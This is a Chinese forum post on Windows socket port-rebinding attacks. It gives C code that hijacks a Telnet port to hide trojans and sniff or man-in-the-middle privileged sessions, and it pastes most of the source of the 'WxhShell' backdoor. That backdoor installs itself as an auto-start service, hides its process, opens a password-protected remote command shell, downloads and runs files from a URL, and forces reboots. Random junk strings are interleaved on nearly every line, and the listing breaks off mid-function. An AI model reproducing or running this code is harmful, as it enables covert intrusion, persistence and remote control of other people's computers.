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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: e87a9ZPm  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H13\8Te{  
J2oh#TGp  
  saddr.sin_family = AF_INET; < 0~1   
[x=(:soEqC  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); LN$T.r+  
d>MDC . j  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); tV pXA'"!x  
Tu}EAr  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =\)zb'\=d  
vQ2{ +5!|  
  这意味着什么?意味着可以进行如下的攻击: e~'z;% O~  
/d"@$+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 PX23M|$!  
/ET+`=n  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) SE i\H$ !  
?< yYm;B  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8vR'<_>Q  
z9 #-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <ycR/X  
o F_{oV '  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Y1ca=ewFx  
jxhZOLG  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }?6;;d#  
pz/W#VN  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;iJxJX\+  
!.pcldx  
  #include Vom,^`}  
  #include l(F\5Ys  
  #include # &5.   
  #include    \3K7)o^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   GA[bo)"  
  int main() Ets6tM`  
  { g6.I~o Q j  
  WORD wVersionRequested; {0/2Hw n  
  DWORD ret; Bzt:9hr6BO  
  WSADATA wsaData; qJonzFp7  
  BOOL val;  ZpBP#Y*  
  SOCKADDR_IN saddr; NN+;I^NqW&  
  SOCKADDR_IN scaddr; }[@Q**j(  
  int err; Q]K$yo  
  SOCKET s; (=1zMZ o  
  SOCKET sc; BKE?o^03  
  int caddsize; c (5XT[Tw  
  HANDLE mt; ~h=iZ/g_^_  
  DWORD tid;   DC BN89#  
  wVersionRequested = MAKEWORD( 2, 2 ); ;GOu'34j  
  err = WSAStartup( wVersionRequested, &wsaData ); [C;Neslo  
  if ( err != 0 ) { XUUP#<,s  
  printf("error!WSAStartup failed!\n"); fshG ~L7S9  
  return -1; HKO]_; :(  
  } y | I9"R  
  saddr.sin_family = AF_INET; /S~ =qodS  
   kv?DE4=;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 a{JO8<dlm  
RDy&i  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;9ChBA  
  saddr.sin_port = htons(23); -^7 $HD  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Tj<B;f!u  
  { 7D'D7=Z.  
  printf("error!socket failed!\n"); 3a ZS1]/  
  return -1; mtE+}b@(!&  
  } yFd94 2  
  val = TRUE; v Lq%k+D#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 SlT>S1`rnG  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) cQBc6eAi  
  { d`5AQfL&  
  printf("error!setsockopt failed!\n"); ~MYE8xrId  
  return -1; 9~a5R]x2  
  } P-8QXDdr  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &u6n5-!v  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =i;T?*@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 OpIeo+^X*  
/P]N40_@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) CM[83>  
  { O2 + K  
  ret=GetLastError(); vfmY >nr  
  printf("error!bind failed!\n"); C"s-ttP   
  return -1; 2:nI4S  
  } w5/6+@}  
  listen(s,2); s6_i>  
  while(1) b9-3  
  { iAXGf V  
  caddsize = sizeof(scaddr); lHTr7uF(  
  //接受连接请求 oZl%0Uy?9I  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 15aPoxo>  
  if(sc!=INVALID_SOCKET) 7kT X  
  { BTG_c_ ?]e  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Hfo<EB2Y9N  
  if(mt==NULL) `f~$h?}3-@  
  { mDD96y  
  printf("Thread Creat Failed!\n"); YH^@8   
  break; EQ :>]O  
  } dIhfp7|  
  } xpwy%uo  
  CloseHandle(mt); 0,.|-OZ  
  } &_hEM~{  
  closesocket(s); K3 ,PmI&W  
  WSACleanup(); oJ" D5d,  
  return 0; Iij$ce`nx  
  }   O2="'w'kR  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~kDJ-V  
  { D+~*nc~ g  
  SOCKET ss = (SOCKET)lpParam; e5 zi"~  
  SOCKET sc; )vVf- zU  
  unsigned char buf[4096]; WQD:~*C:  
  SOCKADDR_IN saddr; 6uUn  
  long num; Z*h}E  
  DWORD val; fM*?i"j;Y  
  DWORD ret; >dD$GD{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 n'JS-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   FS!)KxC/-  
  saddr.sin_family = AF_INET; gm!sLZ!X  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); elpTak@  
  saddr.sin_port = htons(23); /_Ku:?{  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }Ujgd2(U  
  { ('\sUZ+5  
  printf("error!socket failed!\n"); |R!ozlL{}  
  return -1; k9:|CEP  
  } 49}WJC7 )  
  val = 100; lB_X mI1t  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~82 {Y _{/  
  { Yw5-:w0f  
  ret = GetLastError(); H~>8q~o]  
  return -1; :$PrlE  
  } (pd~ 2!;C  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &%qDi_UD  
  { Tm7LaM  
  ret = GetLastError(); MEp{&#v|1  
  return -1; b0@K ~O;g  
  } gwXmoM5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) S{f,EBE  
  { %f1IV(3Qc  
  printf("error!socket connect failed!\n"); Hr!$mf)h  
  closesocket(sc); ux| QGT2LY  
  closesocket(ss); G#6Z@|kVw  
  return -1; KT>Y^  
  } U0{)goN.  
  while(1) %^nNt:N0  
  { Em5,Zr_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 u%I%4 gM  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 t imY0fx #  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 yx:+Xy*N  
  num = recv(ss,buf,4096,0); Y5;afU='  
  if(num>0) w9O!L9 6  
  send(sc,buf,num,0); d"Wuu1tEY  
  else if(num==0) x#zj0vI-8  
  break; Cg`lQY U  
  num = recv(sc,buf,4096,0); 7l~^KsX  
  if(num>0) u^CL }t*  
  send(ss,buf,num,0); - _6`0  
  else if(num==0) .9,x_\|G*  
  break; "bWx<  
  } lQvgq  
  closesocket(ss); T:H~Y+qnt  
  closesocket(sc); 9&`";dg  
  return 0 ; >7~*j4g  
  } 4 m"0R\  
a l6y=;\jZ  
[C<K~  
========================================================== M*Ej*#  
"+wkruC  
下边附上一个代码,,WXhSHELL S?C.:  
iF837ng5  
========================================================== op9vz[o#4  
OJJ [Er1  
#include "stdafx.h" w%\{4T~  
DG0I- "s  
#include <stdio.h> !cM<&3/  
#include <string.h> "19#{yX4  
#include <windows.h> Y Q.Xl_  
#include <winsock2.h> lz36;Fp  
#include <winsvc.h> 8~s0%%{,M  
#include <urlmon.h> d,Oagx  
\@N~{72:k  
#pragma comment (lib, "Ws2_32.lib") g7*Uuh#  
#pragma comment (lib, "urlmon.lib") A*81}P_  
B, H9EX  
#define MAX_USER   100 // 最大客户端连接数 D_~;!^  
#define BUF_SOCK   200 // sock buffer ]vn*eqd  
#define KEY_BUFF   255 // 输入 buffer SE6( 3f$  
1TR+p? "  
#define REBOOT     0   // 重启 | B*B>P#  
#define SHUTDOWN   1   // 关机 Bmcc SC;o4  
ABkDOG2br  
#define DEF_PORT   5000 // 监听端口 x|dP-E41\  
qBh@^GxY),  
#define REG_LEN     16   // 注册表键长度 oSkQ/5hg.  
#define SVC_LEN     80   // NT服务名长度 bR~(Ry`  
_;Xlw{FN^  
// 从dll定义API )z18:C3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @U1|?~M%s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r =vY-p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5$HG#2"Kb#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R9 #ar{  
~_N,zw{x  
// wxhshell配置信息 z>,M@@  
struct WSCFG {  ^RT_Lky  
  int ws_port;         // 监听端口 Y&U-d{"  
  char ws_passstr[REG_LEN]; // 口令 Haekr*1%  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~_ZK93o(  
  char ws_regname[REG_LEN]; // 注册表键名 ge6S_"  
  char ws_svcname[REG_LEN]; // 服务名 ?< teHFj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]sL.+.P  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y;huTZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t!6uz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a=A12<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p I8z.JD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Tj_K5uccU}  
YlGUd~$`"+  
}; z uW4gJ  
?YZgH>7"  
// default Wxhshell configuration #0uu19+}  
struct WSCFG wscfg={DEF_PORT, jQ%1lQ#R)  
    "xuhuanlingzhe", Mog [,{w  
    1, C,W_0= !e  
    "Wxhshell", A:GqR;;"x>  
    "Wxhshell", .PVYYhrt  
            "WxhShell Service", Y9<[n)>+  
    "Wrsky Windows CmdShell Service", +ZW>JjP*  
    "Please Input Your Password: ", rg k1.0U0  
  1, d v[.u{#tP  
  "http://www.wrsky.com/wxhshell.exe", f:&JKB)N  
  "Wxhshell.exe" r,0D I  
    }; F1-"yX1B  
nAl \9#M  
// 消息定义模块 L FJ@4]%V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +p Ywc0~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0=6mb]VUi=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _B erHoQd  
char *msg_ws_ext="\n\rExit."; g|?}a]G  
char *msg_ws_end="\n\rQuit."; %%?}db1n  
char *msg_ws_boot="\n\rReboot..."; 0|tyKP|J  
char *msg_ws_poff="\n\rShutdown..."; QK0]9   
char *msg_ws_down="\n\rSave to "; R=E4Sh  
WKlqm)m@  
char *msg_ws_err="\n\rErr!"; 2#lpIj  
char *msg_ws_ok="\n\rOK!"; g_P98_2f.k  
y'odn ;  
char ExeFile[MAX_PATH]; mhhc}dS(H  
int nUser = 0; 8~-TN1H  
HANDLE handles[MAX_USER]; 3))R91I  
int OsIsNt; Ua 6O~,\  
OEjX(F3=  
SERVICE_STATUS       serviceStatus; #@`c7SR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ea<\a1Tl43  
9=]HOUn  
// 函数声明 [qRww]g;P|  
int Install(void); =0Y0o_  
int Uninstall(void); UR _Ty59  
int DownloadFile(char *sURL, SOCKET wsh); `Kf@<=  
int Boot(int flag); ^" g?m  
void HideProc(void); mIYKzu_k=  
int GetOsVer(void); OhCdBO  
int Wxhshell(SOCKET wsl); U= f9b]Y  
void TalkWithClient(void *cs); h~Z &L2V  
int CmdShell(SOCKET sock); zc;kNkV#1Y  
int StartFromService(void); KO#kIM-  
int StartWxhshell(LPSTR lpCmdLine); k# Ho7rS&  
kJf0..J[#<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8\' tfHL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hOZTD0  
Ezew@*(  
// 数据结构和表定义 f:~G)  
SERVICE_TABLE_ENTRY DispatchTable[] = w/( T  
{ Nh^I{%.x  
{wscfg.ws_svcname, NTServiceMain}, !9$}1_,is  
{NULL, NULL} db_?da;!`  
}; R0*P,~L;|  
U9b[t  
// 自我安装 exiu;\+j  
int Install(void) SUMfebW5  
{ {[Ri:^nHgL  
  char svExeFile[MAX_PATH]; T?!SEblP]  
  HKEY key; l6w\E=K  
  strcpy(svExeFile,ExeFile); >\pF5a`  
%u&Vt"6m=  
// 如果是win9x系统,修改注册表设为自启动 tyW[i8)O}  
if(!OsIsNt) { h'h8Mm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H#hpaP;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Hkia&nz'3  
  RegCloseKey(key); UF5_be,D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5p!{#r6m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NwYQ6VEA  
  RegCloseKey(key); M\CzV$\y  
  return 0; FO_}9<s  
    } z5iCQ4C<  
  } lN5PKsGl  
} leNX5 sX  
else { 0Q7<;'m  
}[PwA[k'  
// 如果是NT以上系统,安装为系统服务 [3-u7Fx!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .Er+*j;&w  
if (schSCManager!=0) N5;z5E  
{ DKMkCPX%  
  SC_HANDLE schService = CreateService P8dMfD*"E  
  ( s,[ I_IiPf  
  schSCManager, -nC&t~sD  
  wscfg.ws_svcname, j1{`}\e  
  wscfg.ws_svcdisp, V*te8HIe  
  SERVICE_ALL_ACCESS, )#\3c,<Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z.@n7G  
  SERVICE_AUTO_START, LXby(|< j  
  SERVICE_ERROR_NORMAL, 2oahQ: }B  
  svExeFile, Gd\/n*j  
  NULL, db1ZNw  
  NULL, 9x4z m  
  NULL, ivl %%nY'  
  NULL, Wq}6RdY$ZA  
  NULL -wC}JVVcK  
  ); {4 vWSb  
  if (schService!=0) |#cqxr"  
  { iY@}Q "  
  CloseServiceHandle(schService); MH'%E^n `  
  CloseServiceHandle(schSCManager); <eSg%6z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =*ErN  
  strcat(svExeFile,wscfg.ws_svcname); 3 I%N4K4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l{8O'4;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oO?+2pTQV  
  RegCloseKey(key); Q!IqvmO  
  return 0; lW#2ox  
    } ,R-k]^O  
  } xu-bn  
  CloseServiceHandle(schSCManager); RE4#a 2  
} RF2I_4  
} I(BJ1 8F$  
wY\,b*x  
return 1; H*<E5^#dw  
} ke W7pN?  
@YaI5>,/  
// 自我卸载 _8 K|2$X  
int Uninstall(void) lj&\F|-i  
{ ol_\ "  
  HKEY key; !WlL RkwO  
8lqmd1v  
if(!OsIsNt) { W!XBuk-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3*%+NQIj  
  RegDeleteValue(key,wscfg.ws_regname); RfvvX$  
  RegCloseKey(key); #X*);cn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Px?"5g#+  
  RegDeleteValue(key,wscfg.ws_regname); 1nvT={'R  
  RegCloseKey(key); [Pp#r&4H  
  return 0; 8irTGA  
  } +[n#{;]<  
} v.:Q& ]  
} `/R. 5;$|  
else { Pr%KcR ;  
E,?IIRg&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zp f<!x^  
if (schSCManager!=0) FYC]^D  
{ snkMxc6c[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s@%>  
  if (schService!=0) SbL7e#!!  
  { X04LAYY_u  
  if(DeleteService(schService)!=0) { %K\B )HR  
  CloseServiceHandle(schService); \A\?7#9\  
  CloseServiceHandle(schSCManager); 2,I]H'}^  
  return 0; GK11fZpO:i  
  } s-SFu  
  CloseServiceHandle(schService); Z)(#D($-  
  } jYAm}_?No  
  CloseServiceHandle(schSCManager); ZWuNl!l>  
} INk|NEX  
} o%lxEd r  
# 7d vT=  
return 1; ;IPk+,hpmi  
} ]QHZ [C  
CcV@YST?  
// 从指定url下载文件 #!TlalV  
int DownloadFile(char *sURL, SOCKET wsh) h 1 "#  
{ vzSjfv  
  HRESULT hr; Bmt8yR2  
char seps[]= "/"; bY,dWNS:  
char *token; UHfE.mTjM  
char *file; G;/> N'#  
char myURL[MAX_PATH]; +[ir7?Y.  
char myFILE[MAX_PATH]; 5HbJE'  
+B+cN[d  
strcpy(myURL,sURL); O<>+l*bk  
  token=strtok(myURL,seps); n?q+:P  
  while(token!=NULL) s` , g4ce`  
  { {s6#h#U  
    file=token; rWO#h{  
  token=strtok(NULL,seps); gV:0&g\v  
  } kMEXgzl  
5?(dI9A"K  
GetCurrentDirectory(MAX_PATH,myFILE); <H<Aba9\  
strcat(myFILE, "\\"); WyQ8}]1b  
strcat(myFILE, file); EX W?)_pg  
  send(wsh,myFILE,strlen(myFILE),0); Ty!V)i  
send(wsh,"...",3,0); Z!'k N\z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g?j^d:  
  if(hr==S_OK) "<&o ;x<  
return 0; #sv}%oV,F  
else l_2l/ff9  
return 1; L4u.cH J}0  
-s0J8b  
} b=WkRj  
kwS[,Qy\  
// 系统电源模块 [CV0sYEA  
int Boot(int flag) |D'!.$7%  
{ F$:mGyl5_  
  HANDLE hToken; 7n;a_Z0s$  
  TOKEN_PRIVILEGES tkp; wc}x [cS  
}+[!h=Bx  
  if(OsIsNt) { ?"}U?m=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0,__{?!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v )2yR~J  
    tkp.PrivilegeCount = 1; {JKG-0)z?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oOXJ7 |n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @ K2Ncb7  
if(flag==REBOOT) { = K`]cEL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I;$tBgOWq  
  return 0; !+ UXu]kA  
} eIP k$j{e  
else { x< d ew  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :}SR{}]yXs  
  return 0; %hBw)3;l  
} %$_?%X0=t  
  } Xh~oDnP  
  else { $x+ P)5)  
if(flag==REBOOT) { &XhxkN$8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0q1+5  
  return 0; 5rA>2<\pQ  
} q7rX4-G$  
else { -/7@ A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \IR $~  
  return 0; fv>Jn`  
} * _,yK-et  
} dftX$TS  
73nmDZO|  
return 1; 6p,}?6^  
} Fk`6 q  
:}v:=ck  
// win9x进程隐藏模块 3`"k1W  
void HideProc(void) hGUQdTNP  
{ un,W{*s8*  
R3BK\kf&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1_n5:  
  if ( hKernel != NULL ) Z3Xgi~c  
  { N71^I"@HH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZU9RvtbKB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B,4GxoX`  
    FreeLibrary(hKernel); FQMA0"(G$  
  } lcoJ1+`C  
W;,RU8\f  
return; bG)6p05Oa  
} <(~geN  
bXHtw} n  
// 获取操作系统版本 :{xu_"nYr  
int GetOsVer(void) 1<M~ #  
{ 6HVGqx  
  OSVERSIONINFO winfo; %NL7XU[~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P\ 2Bx *e  
  GetVersionEx(&winfo); f5nAD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &v r0{]V^  
  return 1; t 9.iWIr  
  else I]d?F:cdX  
  return 0; &#]||T-  
} 34vH+,!u  
-r{]9v2j  
// 客户端句柄模块 yv5c0G.D  
int Wxhshell(SOCKET wsl) {JcMJZ3  
{ 2|+4xqNJm  
  SOCKET wsh; kr]_?B(r  
  struct sockaddr_in client; YdAC<,e&A  
  DWORD myID; ".fnx8v,  
00A2[gO9  
  while(nUser<MAX_USER) vmtmiN8;d  
{ bgmOX&`G  
  int nSize=sizeof(client); 6rAenK-%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t\<*Q3rl-  
  if(wsh==INVALID_SOCKET) return 1; d8f S79  
'KNUPi|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PF;`mdi-,  
if(handles[nUser]==0) !=+hU/e  
  closesocket(wsh); YW-Ge  
else bEzy KrN\  
  nUser++; ,<CzS,(  
  } lN::veD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *>Zq79TG  
XZPq4(,9}  
  return 0; (K> 4^E8  
} D)JI11a<  
7(5 wP(  
// 关闭 socket }9&~+Q2  
void CloseIt(SOCKET wsh) 9t0NO-a  
{ Ml,87fo  
closesocket(wsh); Gh{vExH@5(  
nUser--; 2` h  
ExitThread(0); %XWb|-=  
} EF'U`\gX  
XE*#5u8t  
// 客户端请求句柄  *U4eL-  
void TalkWithClient(void *cs) :WN*wd  
{ xV5eKV  
@1 )][r-7  
  SOCKET wsh=(SOCKET)cs; :U#4H;kk~j  
  char pwd[SVC_LEN]; 0o&7l%Y/  
  char cmd[KEY_BUFF]; j&=!F3[  
char chr[1];  0GiL(e|  
int i,j; +t;j5\HS  
?-P W$p  
  while (nUser < MAX_USER) { |Ns[{/  
I!,FxOM|$  
if(wscfg.ws_passstr) { 9xUAfU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Sc$]ar]S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p%y|w  
  //ZeroMemory(pwd,KEY_BUFF); }o#6g|"\sY  
      i=0; r}])V[V  
  while(i<SVC_LEN) { Z6r_T  
cH\.-5NQ  
  // 设置超时 L [7Aa"R  
  fd_set FdRead; u+vUv~4A6  
  struct timeval TimeOut; IqmoWn3  
  FD_ZERO(&FdRead); *.NVc  
  FD_SET(wsh,&FdRead); k:kx=K5=4  
  TimeOut.tv_sec=8; ^0&   
  TimeOut.tv_usec=0; Ea[K$NC)#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o8ADAU"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c27A)`   
@,v.Y6Ge  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PaYsn *{})  
  pwd=chr[0]; 5J8U] :Y)  
  if(chr[0]==0xd || chr[0]==0xa) { Qa=v }d-O  
  pwd=0; gS4@3BOw&.  
  break; +}0/ %5 =1  
  } D[ (A`!)  
  i++; +&hd3  
    } bIahjxd:  
g)#neEA J  
  // 如果是非法用户,关闭 socket E h>qUa  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k9?fE  
} D>Dch0{H,:  
'uw=)8t7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8!{F6DG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $17utJ 58  
J(\f(jh/  
while(1) { elf2!  
F&x9.  
  ZeroMemory(cmd,KEY_BUFF); %B'*eBj~fw  
-*Z;EA-  
      // 自动支持客户端 telnet标准   ht%:e?@i  
  j=0; %JC-%TRWK  
  while(j<KEY_BUFF) { %$L!N-U6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d@-bt s&3  
  cmd[j]=chr[0]; p$ %D  
  if(chr[0]==0xa || chr[0]==0xd) { ACcxQK}  
  cmd[j]=0; V/}g'_E  
  break; z<c@<M=Q*  
  } fB3W} dr  
  j++; `-L{J0xq  
    } VCZ.{MD  
0W I3m2i  
  // 下载文件 RZV6\ j  
  if(strstr(cmd,"http://")) { {\+!@?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R3SAt-IE  
  if(DownloadFile(cmd,wsh)) *CtO Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); EpCsJ08K  
  else ki[Yu+';}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %;|^*?!J0  
  } ?tLBEoUmKT  
  else { A\7qPfpG  
8QN#PaY  
    switch(cmd[0]) { =)GhrWeVi4  
  i?&g;_n^  
  // 帮助 H#l uG_)  
  case '?': { +84JvOkWi  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Hki  
    break; & A%*sD6  
  } P=%' 2BQ{{  
  // 安装 b+.P4+  
  case 'i': { tz&oe  
    if(Install()) ~;A36M-[.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vf+GC*f  
    else 2}P?N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L`Lro:E?kL  
    break; OTNcNY  
    } 1 \_S1ZS  
  // 卸载 I8C(z1(N  
  case 'r': { JC6Bs`=s~  
    if(Uninstall()) O*dN+o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s6|Ev IVM  
    else _S[@d^cY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CE19V:zp  
    break; spE(s%dgL  
    } BuE=(v2}  
  // 显示 wxhshell 所在路径 XUrxnJ4  
  case 'p': { qMrBTq[  
    char svExeFile[MAX_PATH]; '7UW\KEB[}  
    strcpy(svExeFile,"\n\r"); yrnIQu*Uu  
      strcat(svExeFile,ExeFile); %,G&By&,  
        send(wsh,svExeFile,strlen(svExeFile),0); ppjS|l*`  
    break; 4]F:QS% x  
    } #&A)%Qbg  
  // 重启 %B&y^mZv*\  
  case 'b': { U=4tJb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  ahno$[  
    if(Boot(REBOOT)) 3(De> gs$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q,# )  
    else { &"(xd@V)]A  
    closesocket(wsh); u!FX 0Ip  
    ExitThread(0); 2aef[TY  
    } Ov$_Phm:  
    break; f,ajo   
    } l cHqg  
  // 关机 ^Gc#D:zU  
  case 'd': { ,,hW|CmN30  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -hx' T6G%  
